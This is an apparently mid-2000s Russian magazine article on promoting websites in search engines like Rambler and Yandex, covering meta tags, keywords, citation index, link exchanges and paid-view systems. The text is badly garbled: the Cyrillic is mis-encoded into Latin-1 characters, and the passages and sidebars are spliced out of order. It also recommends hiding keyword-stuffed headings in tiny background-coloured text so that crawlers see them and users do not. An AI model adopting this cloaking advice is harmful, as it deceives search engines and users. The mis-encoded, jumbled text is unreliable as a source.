ÑÈÒÓÀÖÈÞ È ÏÎÌÎ×Ü, ÍÀÊÎÍÅÖ, ÒÅÁÅ ÑÒÀÒÜ ÊÐÓÒÛÌ ÄßÄÅÉ, ÊÎÌÀÍÄÀ Õ È
ÏÎÄÃÎÒÎÂÈËÀ ÝÒÓ ÑÒÀÒÜÞ | Äìèòðèåâ Äàíèë aka xbit (stream@oskolnet.ru, 334437228)

[ñ ÷åãî íà÷àòü?] Ãîòîâèòüñÿ ê ðàñêðóòêå ñàéòà ñëåäóåò
çàäîëãî äî åãî çàêà÷êè â Ñåòü. Êàê èçâåñòíî, áîëåå 70% ïî-
ñåòèòåëåé ïðèõîäÿò ÷åðåç ïîèñêîâûå ñàéòû, òàêèå êàê
Ðàìáëåð, ßíäåêñ, Àïîðò è Mail.ru. Èç ýòîãî ñëåäóåò, ÷òî íà-
øà îñíîâíàÿ çàäà÷à � «ïîíðàâèòüñÿ» ïîèñêîâûì ðîáîòàì.
Ïðè÷åì òàê, ÷òîáû ïðè âûäà÷å çàïðîñà ïî êëþ÷åâûì ñëîâàì áûòü íà
ïåðâîé-âòîðîé ïîçèöèè. Êàê ýòî ñäåëàòü � íå çíàåò íèêòî. Àëãîðèòìû
ñîâðåìåííûõ ïîèñêîâèêîâ íåâåðîÿòíî ñëîæíû, íàïðèìåð, èñõîäíèêè
ïîèñêîâîãî äâèæêà Ðàìáëåðà âåñÿò áîëåå 120 Ìá! Îäíàêî êîå-÷òî íàì
âñå-òàêè èçâåñòíî. Ìíîãèå âåá-ìàðêåòîëîãè ïðîâîäÿò ñâîåîáðàçíûå
îïûòû íàä ïîèñêîâûìè ðîáîòàìè: ñîçäàþò ïî-ðàçíîìó îïòèìèçèðîâàí-
íûå ñòðàíèöû è ñìîòðÿò, êàêèå ïîçèöèè ïðè âûäà÷å çàïðîñà îíè çàéìóò.
Ðåçóëüòàòàìè ñâîèõ èññëåäîâàíèé íèêòî èç íèõ äåëèòüñÿ íå áóäåò, îä-
íàêî ñåãîäíÿ ÿ ñäåëàþ äëÿ òåáÿ èñêëþ÷åíèå.
Èòàê, âåðíåìñÿ ê íàøåìó âîïðîñó. Íà÷èíàòü íàäî ñ îïòèìèçàöèè ñòðà-
íèö ñàéòà. Èìåé â âèäó, ÷òî ïîñïåøèâ ñ ïóáëèêàöèåé ñàéòà è ðåãèñò-
ðàöèåé â ïîèñêîâèêàõ íåîïòèìèçèðîâàííîé âåðñèè, òû ðèñêóåøü íåñ-
êîëüêî ìåñÿöåâ îñòàâàòüñÿ áåç ïîñåòèòåëåé, òàê êàê ïåðåèíäåêñàöèÿ
ìîæåò çàíÿòü íåìàëî âðåìåíè.
Ïîýòîìó íå ñïåøè. Èòàê, êàê æå
îïòèìèçèðîâàòü ñâîé ñàéò? Ïåð-
âîå � âñòàâèòü â ñòðàíè÷êó òýãè
îïèñàíèÿ. Ðàíüøå ïîèñêîâèêè
âûäàâàëè çàïðîñ, îïèðàÿñü èñê-
ëþ÷èòåëüíî íà ñîäåðæèìîå ñïåö-
êîíñòðóêöèé, îäíàêî èç-çà ïîèñ-
êîâûõ ñïàìåðîâ, êîòîðûå òàê è
íîðîâèëè âáèòü â ýòè òýãè êó÷ó
ïîïóëÿðíûõ ñëîâ, íå îòíîñÿùèõñÿ
ê èõ ñàéòàì, ìàøèíû ïîèñêà
ïðàêòè÷åñêè ñâåëè íà íåò çíà÷å-
íèå òàêèõ òýãîâ, êàê meta. Îäíàêî
ïðåíåáðåãàòü âîçìîæíîñòüþ äî-
ïîëíèòåëüíîé ïðèáàâêè â âåñå íå
ñòîèò. Âîò HTML-êîä, êîòîðûé
äîëæåí ðàñïîëàãàòüñÿ ñðàçó ïîñ-
ëå òýãà íà÷àëà ñòðàíèöû (<html>):

<title>Çàãîëîâîê ñòðàíèöû</title>
<meta http-equiv="Content language" content=ru>
<meta name=description content="îïèñàíèå: êàêàÿ èíôà ñîäåðæèòñÿ
íà ýòîé ïàãå">
<meta name=keywords content="êëþ÷åâûå ñëîâà, êîòîðûå äîëæíû ïî-
ìî÷ü ïîëüçîâàòåëþ íàéòè òâîé ñàéò">.

Ïåðâûé òýã (<title>) ÿâëÿåòñÿ íàèáîëåå âàæíûì. Èçî âñåõ ïðåäñòàâëåí-
íûõ âûøå òýãîâ, òèòë � åäèíñòâåííûé, êîòîðûé ó÷èòûâàåòñÿ âñåìè
ïîèñêîâèêàìè. Äà-äà, ìîæåò áûòü òàê, ÷òî òýã, êîòîðûé òû òþíèë äâà
÷àñà, âîîáùå ïîèñêîâèêîì íå âîñïðèìåòñÿ. Â âûøåóêàçàííûé êîä òû
äîëæåí âïèñàòü ñîäåðæàíèå è îïèñàíèå ñòðàíèöû. Òóò ãëàâíîå íå ïå-
ðåáîðùèòü. Åñëè â ýòèõ òýãàõ áóäåò ñëèøêîì ìíîãî ñëîâ, òî ïîèñêîâèê
ìîæåò íàñòîðîæèòüñÿ è óáàâèòü òâîé ðåéòèíã. Ïîýòîìó íå íàäî âáè-
âàòü áåñòîëêîâûå ôðàçû è ïîïóëÿðíûå çàïðîñû òèïà «ñåêñ, ïîðíî,
þìîð». Ýòèì òû òîëüêî ðàñòðàòèøü ñâîáîäíîå ïðîñòðàíñòâî è ñäåëà-
åøü øàã ïî ïóòè ïîïàäàíèÿ â ÷åðíûé ñïèñîê ïîèñêîâèêîâ. Âûáðàòüñÿ
èç ýòîãî ñïèñêà ïîìîæåò òîëüêî ñìåíà äîìåíà. Êàê ïðàâèëüíî ïîäîá-
ðàòü êëþ÷åâûå ñëîâà, íàïèñàíî âî âðåçêå.
Ïîìèìî «òåõíè÷åñêèõ» òýãîâ, ïîèñêîâèêè îáðàùàþò âíèìàíèå íà ñàìÞ
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òåêñò ñòðàíèöû. È òóò òîæå åñòü ïðèîðèòåòíûå òýãè, êîòîðûå öåíÿòñÿ
áîëüøå, ÷åì îñòàëüíûå. Íàïðèìåð, èç òýãîâ îôîðìëåíèÿ ñòðàíèöû ïî-
èñêîâèêè îòäàþò ïðåäïî÷òåíèå <h1>..<h6>, <u>, <b> (â ïîðÿäêå óáûâà-
íèÿ). Êàê èçâåñòíî, ýòè òýãè èñïîëüçóþòñÿ äëÿ îôîðìëåíèÿ çàãîëîâêîâ.
À ÷òî, êàê íå çàãîëîâîê, íàèáîëåå òî÷íî îòðàæàåò òèï êîíòåíòà ïàãè?
Äëÿ íàñ âàæíî çàáèòü âñå ýòè òýãè êëþ÷åâûìè ñîâàìè. Íî êàê ýòî ñäå-
ëàòü? Âåäü, íàïðèìåð, êëþ÷åâûå ñëîâà â òýãå <h1> çàéìóò âñþ ñòðàíè-
öó, ÷òî îòïóãíåò ïîëüçîâàòåëÿ è ïîòåíöèàëüíîãî êëèåíòà. Âûõîä èç äàí-
íîé ñèòóàöèè ïðåäåëüíî ïðîñò. Ïîñëå òîãî êàê òû îïðåäåëèëñÿ ñ ñîñòà-
âîì êëþ÷åâûõ ñëîâ, îòêðîé îïòèìèçèðîâàííóþ ñòðàíèöó â áëîêíîòå è
âñòàâü ñëåäóþùèé êîä ñðàçó ïîñëå òýãà <body>: <h1>Êëþ÷åâûå ñëî-
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Óñïåøíûé ááèçíåñ ��
ñòàáèëüíûé ääîõîä!
Ïðî òî, êàê ïðàâèëüíî ðàñêðó÷èâàòü ñàéò â Èíòåðíåòå

http://semonitor.ru � 
ïðîãðàììû äëÿ ðàñêðóòêè ñàéòà.
http://promoter.ru � 
ïîëåçíûå ñòàòüè è îáçîðû.



[èíäåêñ öèòèðóåìîñòè (ÈÖ)] Ïîêàçàòåëü, êîòîðûé, ïî ìíåíèþ àâòî-
ðà, èãðàåò êëþ÷åâóþ ðîëü â îöåíêå ðåëåâàíòíîñòè (ñîîòâåòñòâèå ïîëüçî-
âàòåëüñêîìó çàïðîñó) òâîåãî ñàéòà. Èíäåêñ öèòèðóåìîñòè ïîêàçûâàåò
êîëè÷åñòâî ñàéòîâ, ññûëàþùèõñÿ íà òåáÿ, à òàêæå èõ âåñ. Åñëè ññûëêà
íà òâîé ñàéò ñòîèò íà ïÿòè ñàéòàõ, òî òâîé ÈÖ ðàâåí 5. Ñóùåñòâóåò òàêîå
ïîíÿòèå, êàê òÈÖ � òåìàòè÷åñêèé èíäåêñ öèòèðóåìîñòè, ïîêàçûâàþùèé,
ñêîëüêî ñàéòîâ àíàëîãè÷íîé òåìàòèêè ññûëàþòñÿ íà òåáÿ. Ïðîùå ãîâîðÿ,
åñëè òû ñäåëàë ñàéò î Counter-Strike, òî òåìàòè÷åñêèé èíäåêñ öèòèðóå-
ìîñòè ïîäíèìåòñÿ òîëüêî ïîñëå òîãî, êàê ññûëêè íà òåáÿ ïîñòàâÿò èìåí-
íî èãðîâûå ñàéòû, æåëàòåëüíî òîæå ïîñâÿùåííûå ýòîé ïîïóëÿðíîé ñòðå-
ëÿëêå. Åñëè áðàòü àáñîëþòíî îäèíàêîâûå ñàéòû, òî âûøå îêàæåòñÿ ïðî-
åêò, ó êîòîðîãî áîëüøå òÈÖ, à íå ÈÖ, òàê ÷òî äåëàé âûâîäû, ñ êåì ìå-
íÿòüñÿ ëèíêàìè, à ñ êåì íåò. Òåïåðü ïîãîâîðèì î «âåñå» ññûëîê. Êàæäûé
ëèíê, ïðîñòàâëåííûé íà òåáÿ, ó÷èòûâàåòñÿ ïîèñêîâèêàìè ïî-ðàçíîìó, à
ñëåäîâàòåëüíî, ïî-ðàçíîìó ìåíÿåò òâîé ÈÖ (òÈÖ). Ýòî çàâèñèò îò òàêèõ
ôàêòîðîâ, êàê ìåñòîðàñïîëîæåíèå ññûëàþùåãîñÿ íà òåáÿ ñàéòà, åãî ÈÖ
èëè òÈÖ, ñòîèò ëè îòâåòíàÿ ññûëêà íà íåãî ñ òâîåãî ñàéòà èëè íåò. Íàï-
ðèìåð, ññûëêè ñ ñàéòîâ, ðàñïîëîæåííûõ íà áåñïëàòíûõ õîñòèíãàõ, ïî÷òè
íå öåíÿòñÿ. Ïîýòîìó ïðè îáìåíå ññûëêàìè èìåé â âèäó, ÷òî, ñòàâÿ îòâåò-
íóþ ññûëêó íà áåñïëàòíûé ñåðâåð, òû ïîíèæàåøü ñâîé ðåéòèíã. Ñóùåñò-

âóåò çàâèñèìîñòü: åñëè ñàéò ñ áîëüøèì
ÈÖ ñòàâèò ññûëêó íà äðóãîé ñàéò, òî îí îò-
äàåò åìó ñòîëüêî ðåéòèíãà, ñêîëüêî ñîñ-
òàâëÿåò ðàçíèöà ìåæäó èõ ÈÖ. 
Ñóùåñòâóåò ìíîæåñòâî ñïîñîáîâ ïîâû-
øåíèÿ èíäåêñà öèòèðóåìîñòè. Íàïðèìåð,
ìîæíî ïîäïèñàòüñÿ íà ñïåöèàëüíóþ ðàñ-
ñûëêó, â êàæäîì âûïóñêå êîòîðîé ïóáëè-
êóþòñÿ ïðåäëîæåíèÿ îá îáìåíå, è äàëåå,
ïîñðåäñòâîì ïåðåïèñêè, äîãîâîðèòñÿ îá
îáìåíå. Åñòü è äðóãèå ñïîñîáû � ïîêóïêà
áàç äàííûõ ñ e-mail àäðåñàìè âåá-ìàñòå-
ðîâ, ó÷àñòèå â ñèñòåìàõ àâòîîáìåíà. Ñóòü
ñèñòåì àâòîîáìåíà çàêëþ÷àåòñÿ â òîì,

÷òî êàæäîìó ó÷àñòíèêó âûäàåòñÿ ñïåöèàëüíàÿ ñòðàíèöà (îáû÷íî ýòî
link.php). Ó÷àñòèå â òàêèõ ñèñòåìàõ ëè÷íî ìíå íå î÷åíü ïîíðàâèëîñü,
òàê êàê â áîëüøèíñòâå èç íèõ ó÷àñòâîâàëè ñàéòû ñ íèçêèìè ðåéòèíãà-
ìè, à óáðàòü ñ íèõ ññûëêè áûëî íåâîçìîæíî. Ê òîìó æå, åñòü åùå îäèí
íåïðèÿòíûé ìîìåíò. Â íî÷íîå âðåìÿ (ïîñëå 23.00) òàêèå ñèñòåìû çàìå-
íÿþò âñå ññûëêè ó÷àñòíèêîâ íà ñîáñòâåííûå. Êàê èçâåñòíî, ïðîöåññ èí-
äåêñàöèè ïîèñêîâèêàìè ïðîèçâîäèòñÿ èìåííî â íî÷íîå âðåìÿ è, ñëåäî-
âàòåëüíî, âñå, ÷òî óâèäèò «ïàóê», � òûñÿ÷è ñàéòîâ, ññûëàþùèõñÿ íà
îäèí ïðîåêò. Îò ýòîãî âûèãðûâàåò òîëüêî ñèñòåìà àâòîîáìåíà.
Ïîìèìî ÈÖ, åñòü òàêîé èíòåðåñíûé ïîêàçàòåëü, êàê PR. Îí óâåëè÷èòñÿ,
åñëè êàêîé-íèáóäü ïîïóëÿðíûé ñàéò ïîñòàâèò íà òåáÿ áàííåð. ×åì áîëü-
øå áàííåð è ïîïóëÿðíåå ñàéò, òåì áîëüøå áóäåò òâîé PR.

[âíåøíèé âèä] Îò ýòîãî çàâèñèò ìíîãîå. Êàê áû àêòèâíî òû íå ðàñêðó÷è-
âàë ñàéò, òû íå äîáüåøüñÿ íèêàêîãî ýôôåêòà, åñëè åãî äèçàéí è ìàêåò áóäóò
íåêðàñèâûìè è íåóäîáíûìè. Áîëüøèíñòâî âåá-ìàñòåðîâ íå çàõîòÿò äàæå îá-
ìåíèâàòüñÿ ñ òîáîé ññûëêàìè, íå ãîâîðÿ óæå î ïàðòíåðñòâå. Ïîñåòèòåëè, çà-
ïîäîçðèâ òåáÿ â íåïðîôåññèîíàëèçìå, íå çàõîòÿò ïîêóïàòü äàæå ñàìûé äå-
øåâûé òîâàð, íåñìîòðÿ íà êó÷ó ñåðòèôèêàòîâ äîâåðèÿ. Ïîýòîìó íå ñêóïèñü
íà äèçàéíå � íàéìè ïðîôåññèîíàëîâ. Íåìàëîâàæíóþ ðîëü èãðàåò è ìàêåò
ñàéòà. Ñóùåñòâóåò òàêàÿ íàóêà, êàê usability, èçó÷àþùàÿ ïîâåäåíèå ïîëüçîâà-
òåëÿ ïðè çàõîäå íà âåá-ñòðàíèöó. Ïåðåä òåì êàê îòêðûâàòü ñàéò, ïåðå÷èòàé
äâå-òðè êíèãè ïî ýòîé íàóêå è ïîñìîòðè, íàñêîëüêî òâîé ñàéò óäîáåí ïîëüçî-
âàòåëÿì. Åñëè ÷åëîâåê íà ñòàíäàðòíûå äåéñòâèÿ (íàâîäèò êóðñîð íà êàðòèí-

âà</h1>. Çàòåì îòêðîé âñå ýòî â FrontPage è âûäåëè òåêñò çàãîëîâêà.
Ïîñëå ÷åãî â ìåíþ ñâîéñòâà óáàâü ðàçìåð øðèôòà äî ìèíèìóìà, ñóçü
ìåæçíàêîâûé èíòåðâàë è îêðàñü òåêñò â öâåò ôîíà. Ýôôåêò ïðîñòî
ïîòðÿñàþùèé: òû ïîëó÷èë ñòðàíèöó ñ çàãîëîâêàìè, íàáèòûìè êëþ÷åâû-
ìè ñëîâàìè, è íå èñïîðòèë äèçàéí. Íî íàäî ïðîñëåäèòü, ÷òîáû ìåæäó
òýãàìè H1 è êëþ÷åâûìè ñëîâàìè íå áûëî ëåâûõ òýãîâ, êîòîðûå óìåíü-
øàþò òåêñò, èíà÷å ïîèñêîâèê ìîæåò çàïàëèòü ýòó òåìó è çàáàíèòü òâîé
ñàéò. Òàêæå ñëåäóåò îñòîðîæíåå ðàáîòàòü ñ öâåòîì òåêñòà è ôîíîì.
Íàì ñîâñåì íå íóæíî, ÷òîáû ïàóê ïðîíþõàë, ÷òî òåêñò ñ îáèëèåì êëþ-
÷åâûõ ñëîâ íå âèäåí ïîëüçîâàòåëþ. ×òîáû ýòîãî èçáåæàòü, çàäàé öâåò
ôîíà êàðòèíêîé, à íå RGB-êîäîì, òàê êàê ýòî ïîìîæåò èçáåæàòü áàíà.

begun.ru � ñàìàÿ èçâåñòíàÿ ñèñòåìà êîíòåêñòíîé ðåêëàìû
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êó, ñòàâèò ãàëî÷êó) ïîëó÷àåò íåñòàíäàðòíóþ ðåàêöèþ (âíåçàïíûå ðåäèðåêòû,
âñïëûâàþùèå îêíà), òî ó íåãî ñêëàäûâàåòñÿ îùóùåíèå, ÷òî îí ïîòåðÿë êîíò-
ðîëü íàä ñàéòîì, à ýòî âûçûâàåò äèñêîìôîðò. Ïîìèìî ýòîãî, ñòîèò ñåðüåç-
íåé îòíåñòèñü ê âíóòðåííîñòÿì ñòðàíèö. Ïîèñêîâûå ðîáîòû è ïîëüçîâàòåëè
ëþáÿò, êîãäà ñòðàíèöà íå ñîäåðæèò ñëèøêîì ìíîãî èíôîðìàöèè. Åñëè òû õî-
÷åøü âûëîæèòü îáúåìíûé ìàòåðèàë, òî öåëåñîîáðàçíåé áóäåò ðàçáèòü åãî
íà íåñêîëüêî ÷àñòåé. Èçáåãàé èñïîëüçîâàíèÿ ôëåøà è ÿâû, òàê êàê  ïîèñêî-
âèêàìè îíè íå âîñïðèíèìàþòñÿ, è, ñëåäîâàòåëüíî, òåêñò, âîñïðîèçâåäåííûé
èìè, ïðîèíäåêñèðîâàí íå áóäåò. Åñòü åùå îäèí î÷åíü ïîïóëÿðíûé ýëåìåíò
âåðñòêè, êîòîðûé ìîæåò ñèëüíî ïîïîðòèòü òåáå æèçíü, � ôðåéìû. Èç-çà íèõ
ïîèñêîâûå ðîáîòû ìîãóò ñáèòüñÿ ñ òîëêó è ïðîèíäåêñèðîâàòü âñåãî îäíó
ñòðàíèöó. Ïîëüçîâàòåëþ áóäåò íåóäîáíî äîáàâëÿòü òåáÿ â Èçáðàííîå, à ñ÷åò-
÷èêè ñòàòèñòèêè áóäóò ïîêàçûâàòü íåîáúåêòèâíóþ èíôîðìàöèþ. 

[ñîôò] Êàê è â äðóãèõ íàïðàâ-
ëåíèÿõ âåá-äèçàéíà, â ïðîäâè-
æåíèè ñàéòà èñïîëüçóþò ñïåöè-
àëüíûé ñîôò. Ïðîãðàììû ýòè
õîòü è äîðîãèå, çàòî ñèëüíî îá-
ëåã÷àþò ðàáîòó: îíè áåðóò íà ñå-
áÿ àíàëèç óñïåøíîñòè êëþ÷åâûõ
ñëîâ, ñðàâíåíèå òâîåãî ñàéòà ñ
êîíêóðåíòàìè, ðåãèñòðàöèþ ïðî-
åêòà â ñîòíÿõ ïîèñêîâûõ ìàøèí,
à òàêæå ðàññûëêè ðåêëàìû íà
âñåâîçìîæíûå ôîðóìû è äîñêè
îáúÿâëåíèé. Âñå ýòî ïîìîæåò
ïîäíÿòü òâîé ñàéò íà íåñêîëüêî
ïîçèöèé ââåðõ, íî ó÷òè, ÷òî ïîä-
áèðàòü è èñïîëüçîâàòü ýòè ïðîã-
ðàììû íóæíî ñ îñòîðîæíîñòüþ.
Ýòî êàñàåòñÿ ñîôòà, çàíîñÿùåãî
èíôîðìàöèþ î òâîåì ñàéòå â èí-
äåêñû êàòàëîãîâ è ïîèñêîâûõ
ñèñòåì. Äåëî â òîì, ÷òî ðàáîòà-
þò îíè íå âñåãäà ñòàáèëüíî, à

îáðàòè âíèìàíèå íà ïðàâóþ êîëîíêó � ýòî è åñòü ðåêëàìà ñèñòåìû ßíäåêñ

ÊËÞ×ÅÂÛÅ ÑÑËÎÂÀ
Êëþ÷åâûå ñëîâà � ýòî ñëîâà, ïî êîòî-
ðûì òåáÿ áóäóò íàõîäèòü ïîëüçîâàòåëè.
Èìåííî ïîýòîìó ìàêñèìàëüíî ñåðüåçíî
îòíåñèñü ê èõ ïîäáîðêå. Äîïóñòèì, òû
îòêðûë õîñòèíã-êîíòîðó. Ñëåäîâàòåëü-
íî, êëþ÷åâûìè ñëîâàìè áóäóò ÿâëÿòüñÿ
ñî÷åòàíèÿ «õîñòèíã, õîñòèíã ñ php, êà-
÷åñòâåííûé õîñòèíã, ðàçìåùåíèå ñàé-
òîâ» è ò.ä. Îñíîâíîé ãåìîððîé çàêëþ-
÷àåòñÿ â òîì, ÷òî î÷åíü òðóäíî ðàññ÷è-
òàòü, ãäå êàêîå ñëîâîñî÷åòàíèå äîëæíî
íàõîäèòüñÿ. Íàïðèìåð, åñëè òû íàïè-
øåøü «õîñòèíã ñ php, ëó÷øèé õîñòèíã»,
òî ïîòåðÿåøü ñ ýòîãî äâà î÷êà. Âî-ïåð-
âûõ, ïîòîìó ÷òî îäíî è òî æå êëþ÷åâîå
ñëîâî íàõîäèòñÿ ñëèøêîì áëèçêî äðóã
îò äðóãà, à âî-âòîðûõ, êàê ÿ óæå ïèñàë,
ïàóêè ñ÷èòûâàþò èç òýãîâ íå áîëåå 20
ñëîâ, òàê ÷òî íàäî áîëåå ðàöèîíàëüíî
ðàñïîëîæèòü êëþ÷åâûå ôðàçû. Â äàí-

íîì ñëó÷àå íàèáîëåå ïðàâèëüíûé âà-
ðèàíò � «êà÷åñòâåííûé õîñòèíã ñ php»
(áåç çàïÿòûõ). Äëÿ òîãî ÷òîáû âûÿâèòü,
êàêîé ïîäáîð êëþ÷åâûõ ñëîâ ÿâëÿåòñÿ
íàèáîëåå óäà÷íûì, âåá-ïðîìîóòåðû
ñîçäàþò íåñêîëüêî ñòðàíèö è âáèâàþò
â êà÷åñòâå êëþ÷åâûõ ñëîâ ðàçíûå ôðà-
çû. Ïîñëå ÷åãî ïðîâîäèòñÿ àíàëèç ðå-
àêöèè ïàóêîâ: êàêàÿ ñòðàíèöà ïîíðàâè-
ëàñü áîëüøå, òå êëþ÷åâûå ñëîâà è áó-
äóò èñïîëüçîâàòüñÿ íà âñåì ñàéòå. 
Íî ýòî äîñòàòî÷íî ñëîæíàÿ äëÿ íîâè÷-
êà çàäà÷à, ïîýòîìó äëÿ íà÷àëà áóäåò
óìåñòíî ïîäãëÿäåòü ó êîíêóðåíòîâ. 
Â ëþáèìîì áðàóçåðå Îïåðà åñòü òàêàÿ
ôóíêöèÿ, êàê User mode->Show struc-
turals elements. Áëàãîäàðÿ åé òû óâè-
äèøü âñå òýãè íà ïàãå, â òîì ÷èñëå è
ñîäåðæèìîå òýãîâ <title> è <meta>, òà-
êîé ðåæèì ïîçâîëÿåò áûñòðî ïðîéòèñü
ïî ñàéòàì, çàíèìàþùèì 1�5 ïîçèöèè

â ïîèñêîâèêàõ, è áûñòðåíüêî ñêîïèðî-
âàòü èõ ñîäåðæèìîå â áëîêíîò äëÿ
äàëüíåéøåãî àíàëèçà. Ïðè àíàëèçå
óñïåøíîñòè ïîäáîðêè êëþ÷åâûõ ñëîâ
ðóêîâîäñòâîâàòüñÿ ñëåäóåò íå òîëüêî
ïîçèöèåé ñòðàíèöû ïðè âûäà÷å çàï-
ðîñà, íî è äðóãèìè ïîêàçàòåëÿìè, òà-
êèìè, íàïðèìåð, êàê ÈÖ è òÈÖ. Òàêæå
ñòîèò âîñïîëüçîâàòüñÿ ïîèñêîâèêîì
Ðàìáëåð.ðó. Âñÿ ôèøêà â òîì, ÷òî
ïîñëå ïîäà÷è 3-åãî çàïðîñà â ïðàâîé
÷àñòè ýêðàíà ïîÿâëÿåòñÿ âðåçêà «ó
íàñ òàêæå èùóò�». À íèæå òû óâè-
äèøü íåñêîëüêî äåñÿòêîâ ôðàç, êîòî-
ðûå ââîäèëè â êà÷åñòâå ïîèñêîâîãî
ñëîâîñî÷åòàíèÿ äðóãèå ïîëüçîâàòåëè.
Êàê òû ïîíÿë, Copy&Past ðóëèò. Õî÷ó
çàìåòèòü, ÷òî, êðîìå Ðàìáëåðà, êëþ-
÷åâûå ñëîâà ìîæíî íàäûáàòü â òàêèõ
ñèñòåìàõ, êàê Áåãóí.ðó è ßíäåêñ.Äè-
ðåêò (î íèõ ìû ãîâîðèëè â ñòàòüå).

×ÒÎ ÒÒÀÊÎÅ ÑÑÀÐ ÈÈ ÊÊÀÊ ÈÈÌÈ ÏÏÎËÜÇÎÂÀÒÜÑß?
ÑÀÐ � ñèñòåìû àêòèâíîé ðàñêðóòêè. Èõ ïðèíöèï çàêëþ÷à-
åòñÿ â òîì, ÷òî çàðåãèñòðèðîâàííîìó íà ñåðâèñå þçåðó ïî-
êàçûâàþò âî ôðåéìàõ ñàéòû çàêàç÷èêîâ. ×åðåç êàæäûå 30
ñåêóíä � íîâûé ñàéò. Ïðè÷åì ïëàòÿò â ïðÿìîì ñìûñëå ãðî-
øè, íî ëþäè èäóò, ÷àñòî íàêðó÷èâàÿ, ñòàâÿ ðåçàëêè ãðàôèêè
è ïðèáåãàÿ ê ïðî÷èì õèòðîñòÿì. Âñå îðãàíèçóåòñÿ ñëåäóþ-
ùèì îáðàçîì: ïîëüçîâàòåëü ðåãèñòðèðóåòñÿ, åìó äàåòñÿ 
ëîãèí è ïàðîëü. Ïîñëå ýòîãî îí àâòîðèçèðóåòñÿ è ïîïàäàåò
íà ñòðàíèöó, ãäå â îäíîì èç ôðåéìîâ ïîêàçûâàåòñÿ ñàéò.
Îáû÷íî â ëåâîé ÷àñòè ïàíåëè ðàñïîëàãàþòñÿ êíîïêè, íà 
êîòîðûå þçåð äîëæåí íàæàòü (èõ ñïèñîê ïîÿâëÿåòñÿ òàì æå
íà êàðòèíêå � ýòî çàùèòà îò íàêðóòîê). Ñïóñòÿ 30 ñåêóíä âî
ôðåéìå ïîÿâëÿåòñÿ äðóãîé ñàéò è ò.ä. Çà êàæäûé ïðîñìîò-
ðåííûé ñàéò þçåð ïîëó÷àåò êðåäèòû, êîòîðûå ìîæåò ïîòîì
ïðîäàòü êàê ñàìîé ñèñòåìå, òàê è ëåâîìó ïîêóïàòåëþ. À ìî-
æåò çàþçàòü ñàì � êîìó êàê óäîáíåé. Îáû÷íî âñå ïðîñòî: 
1 ïðîñìîòð ñàéòà = 1 êðåäèòó. Òûñÿ÷à êðåäèòîâ ñòîèò $1.
Òî åñòü, ÷òîáû òâîé ñàéò ïðîñìîòðåëî 1000 ÷åëîâåê, íàäî
âûëîæèòü îäèí áàêñ. Êëàññíî, íå òàê ëè? Îäíàêî íå îáîëü-
ùàéñÿ � þçåðû íå äóðàêè � â ðóíåòå ëåæèò ïàðó äåñÿòêîâ
íàêðóò÷èêîâ ê ëþáîé ñèñòåìå ÑÀÐ, òàê ÷òî èç 1000 ñàéòîâ
óâèäÿò ëèøü 500�600 ÷åëîâåê (÷òî òîæå íåïëîõî). Ñ÷åò÷è-
êè, åñòåñòâåííî, çàôèêñèðóþò ðîâíî 1000 :). Ñëåäóåò
ó÷åñòü, ÷òî êóïëåííûå êðåäèòû ðàñõîäóþòñÿ ìåäëåííî. Åñ-
ëè, ñêàæåì, 1000 000 áàííåðíûõ ïîêàçîâ â ñåòè RLE ó ìåíÿ
ðàñòàÿëè ìåíüøå ÷åì çà 6 ÷àñîâ, òî 1000 êðåäèòîâ õâàòèò
íà íåäåëþ òî÷íî. Þçåðû ïîñòåïåííî òåðÿþò èíòåðåñ ê ýòî-
ìó âèäó çàðàáîòêà, è êàê ñëåäñòâèå � ñíèæåíèå êîëè÷åñòâà
îáùèõ ïîêàçîâ ñåòè. Êîíå÷íî, ìîæíî êóïèòü êðåäèòû â íåñ-
êîëüêèõ ñèñòåìàõ, îäíàêî ó÷èòûâàé, ÷òî ïîäàâëÿþùåå ÷èñ-
ëî ïîëüçîâàòåëåé ïðîñìàòðèâàþò îäíîâðåìåííî ïî 5�7
ñèñòåì, è ãàðàíòèé, ÷òî òâîé ñàéò íå áóäåò ïîêàçàí ñåìü ðàç
îäíîìó è òîìó æå ÷åëîâåêó, íåò íèêàêèõ. Â íàñòîÿùåå âðå-
ìÿ ÑÀÐ ìîæíî èñïîëüçîâàòü ëèøü êàê íàêðóò÷èê ñ÷åò÷èêîâ.
Òî åñòü äëÿ ïîâûøåíèÿ ñâîèõ ïîçèöèé â êàòàëîãàõ è ðåéòèí-
ãàõ. Â ýòîì ñëó÷àå ÑÀÐ äåéñòâèòåëüíî ýôôåêòèâíàÿ âåùü.
Îäíàêî, êàê ÿ óæå ãîâîðèë, åñëè ðàçíûå ÑÀÐ (óñëóãàìè êî-
òîðûõ òû âîñïîëüçîâàëñÿ) þçàþò îäíè è òå æå ëþäè, òî ìíî-
ãèå ïîêàçû áóäóò çà÷òåíû ñ÷åò÷èêàìè íå êàê óíèêàëüíûå
ïîñåòèòåëè, à êàê õèòû (òî åñòü îäèí è òîò æå ïîñåòèòåëü õî-
äèò ïî ðàçíûì ñòðàíèöàì ñàéòà). Óíèêàëû, êàê èçâåñòíî, öå-
íÿòñÿ áîëüøå. Òàê ÷òî äåëàé âûâîäû. Ìîæíî, êîíå÷íî, ïîñî-
âåòîâàòü âîñïîëüçîâàòüñÿ èíîñòðàííûìè ÑÀÐ, òàê êàê îíè
äàþò òåñòîâûå ïîêàçû (äî 10 000 øòóê). Èç îòå÷åñòâåííûõ
ìîãó ïîñîâåòîâàòü neosap.ru. Õîòü íà íåãî è íàïèñàíî êó÷à
íàêðóò÷èêîâ, íî ðàáîòàþò îíè íåñòàáèëüíî, à íåêîòîðûå íå
ðàáîòàþò âîîáùå. Òàêèå ñèñòåìû ïîÿâëÿþòñÿ è èñ÷åçàþò
äîâîëüíî ÷àñòî, ïîýòîìó íå ïîêóïàé áîëüøå 2000 êðåäèòîâ
ñðàçó. Áåðè ïîñòåïåííî, ïî ìåðå íàäîáíîñòè (ó ìåíÿ ñãîðå-
ëî 5000 êðåäèòîâ autopilot.net.ru, êîòîðûå ñàìè áåç îáúÿñíå-
íèé êóäà-òî èñïàðèëèñü). Âåñü ñïèñîê ÑÀÐ ìîæíî ïîëó÷èòü
ïî ïðîñòîìó òðåõáóêâåííîìó çàïðîñó â ïîèñêîâûõ ñèñòåìàõ.

1.ps � ðåãèñòðàöèÿ â 578 êàòàëîãàõ.
Ñòîèò 20 áàêñîâ

ñîôò äëÿ ðàñêðóòêè





Åñòü è òàê íàçûâàåìûå ñèñòåìû êîíòåêñòíîé ðåêëàìû (Begun.ru,
